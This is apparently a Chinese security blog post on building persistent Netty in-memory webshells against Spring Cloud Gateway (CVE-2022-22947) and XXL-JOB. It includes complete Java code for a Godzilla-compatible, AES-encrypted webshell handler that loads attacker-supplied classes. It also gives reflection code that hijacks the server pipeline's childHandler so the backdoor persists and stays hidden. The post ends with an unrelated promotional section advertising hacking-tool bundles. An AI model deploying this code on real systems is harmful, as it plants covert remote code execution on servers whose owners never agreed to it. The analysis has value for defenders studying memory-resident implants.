0x01 前言
基于netty动态创建pipeline的特性,其内存马的构造思路与tomcat有一定的区别,目前网上有关netty内存马的文章都围绕CVE-2022-22947和XXL-JOB两种场景展开,并未对其做更为详细的分析。本文就以上述两种场景为始,尝试从源码角度探究netty内存马的部分细节,以供大家参考。
0x02 Netty介绍
I/O事件:分为出站和入站两种事件,不同的事件会触发不同种类的handler。
Handler (ChannelHandler):handler用于处理I/O事件,继承如下几种接口,并重写channelRead方法完成请求的处理,功能类似于filter。
ChannelInboundHandlerAdapter 入站I/O事件触发该handler
ChannelOutboundHandlerAdapter 出站I/O事件触发该handler
ChannelDuplexHandler 入站和出站事件均会触发该handler
Channel (SocketChannel):可以理解为对 Socket 的封装, 提供了 Socket 状态、读写等操作,每当 Netty 建立了一个连接后,都会创建一个对应的 Channel 实例,同时还会初始化和 Channel 所对应的 pipeline。
Pipeline (ChannelPipeline):由多个handler所构成的双向链表,并提供如addFirst、addLast等方法添加handler。需要注意的是,每次有新请求入站时,都会创建一个与之对应的channel,同时channel会在io.netty.channel.AbstractChannel#AbstractChannel(io.netty.channel.Channel)里创建一个与之对应的pipeline。
构造netty内存马的一个思路,就是在pipeline中插入我们自定义的handler,同时,由于pipeline动态创建的特性,如何保证handler的持久化才是关键,本文以此为出发点,尝试探究netty内存马在不同场景下的利用原理。
0x03 CVE-2022-22947
先来简单回顾一下CVE-2022-22947是如何注入内存马的,文中的核心是修改reactor.netty.transport.TransportConfig#doOnChannelInit,在reactor.netty中,channel的初始化位于reactor.netty.transport.TransportConfig.TransportChannelInitializer#initChannel。
关键点如下:
config.defaultOnChannelInit()返回一个默认的ChannelPipelineConfigurer,随后调用then方法,进入到reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer,从函数名也能够看出,这个方法用于合并对象,将当前默认的ChannelPipelineConfigurer与config.doOnChannelInit合二为一,返回一个CompositeChannelPipelineConfigurer。
随后调用CompositeChannelPipelineConfigurer#onChannelInit,在此处循环调用configurer#onChannelInit,其中就包括我们反射传入的doOnChannelInit#onChannelInit。
c0ny1师傅给出的案例,就在onChannelInit内完成handler的添加,由于反射修改了doOnChannelInit,后续有新的请求入站,都会重复上述流程,进而完成handler的持久化。
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
ChannelPipeline pipeline = channel.pipeline();
pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
}
另外,从reactor.netty.transport.TransportConfig#doOnChannelInit的路径也能看出,该场景依赖 reactor.netty,并不适用纯io.netty的环境,如xxl-job等场景。
0x04 XXL-JOB
对于纯粹的io.netty环境,在XXL-JOB内存马中给出的答案是定制化内存马,核心思想是修改com.xxl.job.core.biz.impl.ExecutorBizImpl的实现,由于每次请求都会触发ServerBootstrap初始化流程,随即进入.addLast(new EmbedHttpServerHandler(executorBiz, accessToken, bizThreadPool));,而EmbedServer中的executorBiz在仅在启动时触发实例化,在整个应用程序的生命周期中都不变,使用动态类加载替换其实现,就能完成内存马的持久化。
在文章开头,作者也曾尝试反射调用pipeline.addBefore,依然是上面所提到的问题,不过很容易发现,通过ServerBootstrap所添加的EmbedHttpServerHandler能够常驻内存,如果我们想要利用这一特性,还需进一步分析io.netty.bootstrap.ServerBootstrap的初始化过程。
0x05 ServerBootstrap
限于篇幅,这里仅截取关键代码,直接定位到pipeline创建完成之后的片段,首先io.netty.bootstrap.ServerBootstrap#init在pipeline中添加了一个ServerBootstrapAcceptor,需要注意一下这里的childHandler,这也是一种持久化的思路,后续会继续提到。
此时pipeline在内存中的情况如下,可以看到已经添加了ServerBootstrapAcceptor。
netty介绍部分提及过handler的channelRead方法用于处理请求,因此可以直接去看io.netty.bootstrap.ServerBootstrap.ServerBootstrapAcceptor#channelRead的实现,这里ServerBootstrapAcceptor把之前传入的childHandler添加到pipeline中。
childHandler由开发者所定义,通常会使用如下范式定义ServerBootStrap,也就是添加客户端连接时所需要的handler。
ServerBootstrap bootstrap = new ServerBootstrap();
bootstrap.group(bossGroup, workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
public void initChannel(SocketChannel channel) throws Exception {
channel.pipeline()
.addLast(...)
.addLast(...);
}
})
由开发者所定义的ChannelInitializer最终会走到ChannelInitializer#initChannel进行初始化,调用栈如下:
总结一下该流程,每次请求都将触发一次ServerBootstrap初始化,随即pipeline根据现有的ChannelInitializer#initChannel添加其他handler,若能根据这一特性找到ServerBootstrapAcceptor,反射修改childHandler,也完成handler持久化这一目标。
0x06 内存马实现
在探究netty的过程中,发现这样一篇文章: xxl-job利用研究,作者给出的EXP已经很接近完整版了,在文章的最后抛出两个问题,一是"注册的handler必须加上@ChannelHandler.Sharable标签,否则会执行器会报错崩溃",二是"坏消息是这个内存马的实现是替换了handler,所以原本执行逻辑会消失,建议跑路前重启一下执行器"。
这两个问题很容易解决:
1、对于需要加入@ChannelHandler.Sharable这点而言,实测是不需要的,由于我们自定义的handler是通过new的方式创建的,理论上来讲就是unSharable的。
2、反射修改ChannelInitializer导致执行器失效的问题,只需要给bootstrap添加一个EmbedHttpServerHandler就能保留其原有功能。
setFieldValue(embedHttpServerHandler, "childHandler", new ChannelInitializer<SocketChannel>() {
@Override
public void initChannel(SocketChannel channel) throws Exception {
channel.pipeline()
.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) // beat 3N, close if idle
.addLast(new HttpServerCodec())
.addLast(new HttpObjectAggregator(5 * 1024 * 1024)) // merge request & reponse to FULL
.addLast(new NettyThreadHandler())
.addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(
0,
200,
60L,
TimeUnit.SECONDS,
new LinkedBlockingQueue<Runnable>(2000),
new ThreadFactory() {
@Override
public Thread newThread(Runnable r) {
return new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode());
}
},
new RejectedExecutionHandler() {
@Override
public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {
throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");
}
})));
}
});
实战中的利用还需兼容webshell管理工具,对于CVE-2022-22947而言,已有哥斯拉的马作为参考,可直接在NettyMemshell基础上稍作修改,需要注意的是,马子里的channelRead方法不能直接使用,问题出在条件判断处,msg很有可能即实现了HttpRequest,也实现了HttpContent,因此走不到else中的逻辑,修改方式也很简单,去掉else即可。
目前实测下来,姑且认为不影响正常的功能,pipeline在内存中的情况如下:
package com.xxl.job.service.handler;
import com.xxl.job.core.biz.impl.ExecutorBizImpl;
import com.xxl.job.core.server.EmbedServer;
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.channel.socket.SocketChannel;
import io.netty.handler.codec.http.*;
import io.netty.handler.timeout.IdleStateHandler;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.AbstractMap;
import java.util.HashSet;
import java.util.concurrent.*;
import com.xxl.job.core.log.XxlJobLogger;
import com.xxl.job.core.biz.model.ReturnT;
import com.xxl.job.core.handler.IJobHandler;
public class DemoGlueJobHandler extends IJobHandler {
public static class NettyThreadHandler extends ChannelDuplexHandler{
String xc = "3c6e0b8a9c15224a";
String pass = "pass";
String md5 = md5(pass + xc);
String result = "";
private static ThreadLocal<AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream>> requestThreadLocal = new ThreadLocal<>();
private static Class payload;
private static Class defClass(byte[] classbytes)throws Exception{
URLClassLoader urlClassLoader = new URLClassLoader(new URL[0],Thread.currentThread().getContextClassLoader());
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
return (Class) method.invoke(urlClassLoader,classbytes,0,classbytes.length);
}
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch(Exception e) {
return null;
}
}
public static String md5(String s) {
String ret = null;
try {
java.security.MessageDigest m;
m = java.security.MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch(Exception e) {}
return ret;
}
@Override
// Step2. 作为Handler处理请求,在此实现内存马的功能逻辑
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if(((HttpRequest)msg).uri().contains("netty_memshell")) {
if (msg instanceof HttpRequest){
HttpRequest httpRequest = (HttpRequest) msg;
AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = new AbstractMap.SimpleEntry(httpRequest,new ByteArrayOutputStream());
requestThreadLocal.set(simpleEntry);
}
if(msg instanceof HttpContent){
HttpContent httpContent = (HttpContent)msg;
AbstractMap.SimpleEntry<HttpRequest,ByteArrayOutputStream> simpleEntry = requestThreadLocal.get();
if (simpleEntry == null){
return;
}
HttpRequest httpRequest = simpleEntry.getKey();
ByteArrayOutputStream contentBuf = simpleEntry.getValue();
ByteBuf byteBuf = httpContent.content();
int size = byteBuf.capacity();
byte[] requestContent = new byte[size];
byteBuf.getBytes(0,requestContent,0,requestContent.length);
contentBuf.write(requestContent);
if (httpContent instanceof LastHttpContent){
try {
byte[] data = x(contentBuf.toByteArray(), false);
if (payload == null) {
payload = defClass(data);
send(ctx,x(new byte[0], true),HttpResponseStatus.OK);
} else {
Object f = payload.newInstance();
//初始化内存流
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
//将内存流传递给哥斯拉的payload
f.equals(arrOut);
//将解密后的数据传递给哥斯拉Payload
f.equals(data);
//通知哥斯拉Payload执行shell逻辑
f.toString();
//调用arrOut.toByteArray()获取哥斯拉Payload的输出
send(ctx,x(arrOut.toByteArray(), true),HttpResponseStatus.OK);
}
} catch(Exception e) {
ctx.fireChannelRead(httpRequest);
}
}else {
ctx.fireChannelRead(msg);
}
}
} else {
ctx.fireChannelRead(msg);
}
}
private void send(ChannelHandlerContext ctx, byte[] context, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context));
response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}
public ReturnT<String> execute(String param) throws Exception{
try{
ThreadGroup group = Thread.currentThread().getThreadGroup();
Field threads = group.getClass().getDeclaredField("threads");
threads.setAccessible(true);
Thread[] allThreads = (Thread[]) threads.get(group);
for (Thread thread : allThreads) {
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
try {
Object target;
try {
target = getFieldValue(getFieldValue(getFieldValue(thread, "target"), "runnable"), "val\$eventExecutor");
} catch (Exception e) {
continue;
}
// NioEventLoop
if (target.getClass().getName().endsWith("NioEventLoop")) {
XxlJobLogger.log("NioEventLoop find");
HashSet set = (HashSet) getFieldValue(getFieldValue(target, "unwrappedSelector"), "keys");
if (!set.isEmpty()) {
Object keys = set.toArray()[0];
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
// ThreadPoolExecutor bizThreadPool2 = (ThreadPoolExecutor) getFieldValue(embedHttpServerHandler, "bizThreadPool");
// 设置初始化
setFieldValue(embedHttpServerHandler, "childHandler", new ChannelInitializer<SocketChannel>() {
@Override
public void initChannel(SocketChannel channel) throws Exception {
channel.pipeline()
.addLast(new IdleStateHandler(0, 0, 30 * 3, TimeUnit.SECONDS)) // beat 3N, close if idle
.addLast(new HttpServerCodec())
.addLast(new HttpObjectAggregator(5 * 1024 * 1024)) // merge request & reponse to FULL
.addLast(new NettyThreadHandler())
.addLast(new EmbedServer.EmbedHttpServerHandler(new ExecutorBizImpl(), "", new ThreadPoolExecutor(
0,
200,
60L,
TimeUnit.SECONDS,
new LinkedBlockingQueue<Runnable>(2000),
new ThreadFactory() {
@Override
public Thread newThread(Runnable r) {
return new Thread(r, "xxl-rpc, EmbedServer bizThreadPool-" + r.hashCode());
}
},
new RejectedExecutionHandler() {
@Override
public void rejectedExecution(Runnable r, ThreadPoolExecutor executor) {
throw new RuntimeException("xxl-job, EmbedServer bizThreadPool is EXHAUSTED!");
}
})));
}
});
XxlJobLogger.log("success!");
break;
}
}
} catch (Exception e){
XxlJobLogger.log(e.toString());
}
}
}
}catch (Exception e){
XxlJobLogger.log(e.toString());
}
return ReturnT.SUCCESS;
}
public Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null){
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
public Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
}
题外话
初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:
- 2023届全国高校毕业生预计达到1158万人,就业形势严峻;
- 国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。
一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。
6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。
2022届大学毕业生月收入较高的前10个专业
本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。
具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。
网络安全行业特点
1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!
2、人才缺口大,就业机会多
2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
行业发展空间大,岗位非常多
网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。
从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。
黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图 ![](https://img-blog.csdnimg.cn/direct/424e38ca2a4f4d9f8309ef122fbcf07a.png)
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取
4.工具包、面试题和源码
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。
因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要保存下方图片,微信扫码即可前往获取